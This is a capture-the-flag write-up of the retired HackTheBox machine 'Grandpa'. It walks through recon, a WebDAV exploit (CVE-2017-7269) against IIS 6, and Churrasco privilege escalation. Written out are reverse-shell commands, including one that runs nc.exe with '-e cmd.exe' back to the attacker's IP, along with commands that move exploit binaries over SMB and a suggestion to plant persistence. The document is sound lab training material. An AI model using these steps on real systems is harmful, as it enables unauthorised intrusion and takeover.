HackTheBox - Retired - Grandpa - Updated

HackTheBox  - Retired - Grandpa - Updated

Recon

Lately I've been using thread 3000 to do my recon scan on hack the box. It's a threaded scanner written in python that does super quick up/down scans on all TCP ports and then suggests a nmap scan to run based on the results of the first scan. It saves the nmap scan out as an xml which I convert to HTML to make it easier to read.

xsltproc ./10.10.10.14/10.10.10.14.xml -o grandpa.htb

So not much open here just port 80 which nmap says is IIS 6. So since it uses IIS we know it's a windows box. Let's see what is being served on port 80.

Just an under construction page.

Let's brute force the directory to see if we can find anything else being served on port 80 since it's our only path.

I use several tools to do this since each tool has their own quirks and might find things that the others don't. I  started with dirb here 

dirb http://grandpa.htb

So not much here to go on, no login pages, no admin panels.

Exploit

So I just googled IIS 6.0 exploit..

Then I came across exploit

https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/master/iis6%20reverse%20shell

Webdav CVE-2017-7269

But how can we test to see if this is running webdav?

Googling around I found that kali has a tool builtin called davtest which will test for webdav and test what can been done with the access

davtest -url http://grandpa.htb

It's lots of fails about creating directories or placing files, but it does show that it is present.

Let's try the reverse shell we found now.

First let's check what the syntax is for this 

So, name of the exploit ( which I named webdav.py ) the IP and port of the target and then the IP and Port of my listener.

Not too hard but we need to set up our listener first so we know what IP and port to put in.

My VPN ip is 10.10.14.19 ( yours will be different)

I like to set my listener ports to 5555 ( but this can literally be any port number not currently in use on your system)

nc -lnvp 5555

With our listener running our final command to issue should be

Python ./Webdav.py 10.10.10.14 80 10.10.14.19 5555

It looks like it did something

Let's check back on our listener.

We have a shell as network service.

Unfortunately network service doesn't have access to either location where we might find the flag

So what's a hacker to do?

Let's get some more info from the box.

systeminfo

Server 2003 32-bit (x86)  <- I don't think x64 was even an option with server 2003

Only one patch installed? I'm pretty sure that means this box is vulnerable to a lot of different vulns. Let's check out what Windows exploit suggester has to say.

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

This command gets a list of all current windows updates that have known vunls and saves it to an xlsx file.

python ./WindowsExploitSuggester.py --update

python ./WindowsExploitSuggester.py --update

Then we can let the tool compare that to the output of our systeminfo

python ./WindowsExploitSuggester.py -d 2020-09-21-mssb.xls -i sysinfo.txt

-d is the xls database the update download   

-i is the systeminfo we got off grandpa

Just like we thought there are a  metric ton of different exploits this box is vulnerable too.

In the output of the suggester the Vulns that have [M] means there is a metasploit module to exploit this, and if there is an [E] that means there are exploits available and it even gives you links on where to get them… pretty nice huh?

So you can see in the output some of these are labelled with remote code execution, which we don't care about since we already have a shell, we want to focus on the Vulns labelled privilege escalation.

I focused on MS14-070 since its a local privilege escalation vulnerability.

I found this compiled exe of the vulnerability.

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-070

I downloaded it to my kali box

As my normal practice I tried to use updog to serve the file and certutil on grandpa to download it but it kept giving me an error, so I switched to SMB to get the file onto grandpa.

I used impacket's smbserver.py to start up a share with no authentication to serve the exploit to grandpa

sudo smbserver.py circusmonkey /home/circusmonkey404/Desktop/HTB/grandpa/

So this starts an SMB share named circusmonkey and serves up the contents of my /home/circusmonkey404/Desktop/HTB/grandpa folder.

I then just used copy to download a copy of the file to grandpa.

copy \\10.10.14.19\circusmonkey\35936.exe

No dice didn't give me a better user. 

I think I tried just about all of the exploits on the suggester and couldn't make my way with any of them.

Then I just googled "2003 privilege escalation"

This was the first result

https://www.exploit-db.com/exploits/6705

Churrasco

Eventually I found a pre compiled version for us

https://github.com/jivoi/pentest/blob/master/ehttps://github.com/Re4son/Churrasco/raw/master/churrasco.exexploit_win/churrasco

I'll use the same smbserver to xfer it over to grandpa.

First I just want to test and see if it does what we think it does.

C:\temp\circusmonkey>churrasco "whoami > C:\temp\circusmonkey\who.txt"

This should just dump out the results of whoami to a text file named who.txt

We could just use this to dump out the root.txt file and user.txt file… but what is the fun of that?

Let's put netcat on grandpa too, and see if we can get back a shell as system.

copy \\10.10.14.19\circusmonkey\nc.exe

Now I'll setup another listener on my kali box

nc -lnvp 5566

So now our command for churrasco would be something like this

C:\temp\circusmonkey\churrasco.exe -d "C:\temp\circusmonkey\nc.exe 10.10.14.19 5566 -e cmd.exe"

Now we check back on our new listener on 5566

We did it, no metasploit needed!!!!!

But we loose our shell about 10 seconds after it comes up…

So we proved it was possible. 10 seconds is enough to create a new admin user or implant some other means of persistence.

For now let's just grab our files with the flags and GTFO.

type C:\Documents and Settings\Administrator\Desktop\root.txt

Type C:\documents and settings\Harry\Desktop\user.txt

Man for an easy box, not using metasploit makes this thing freaking hard.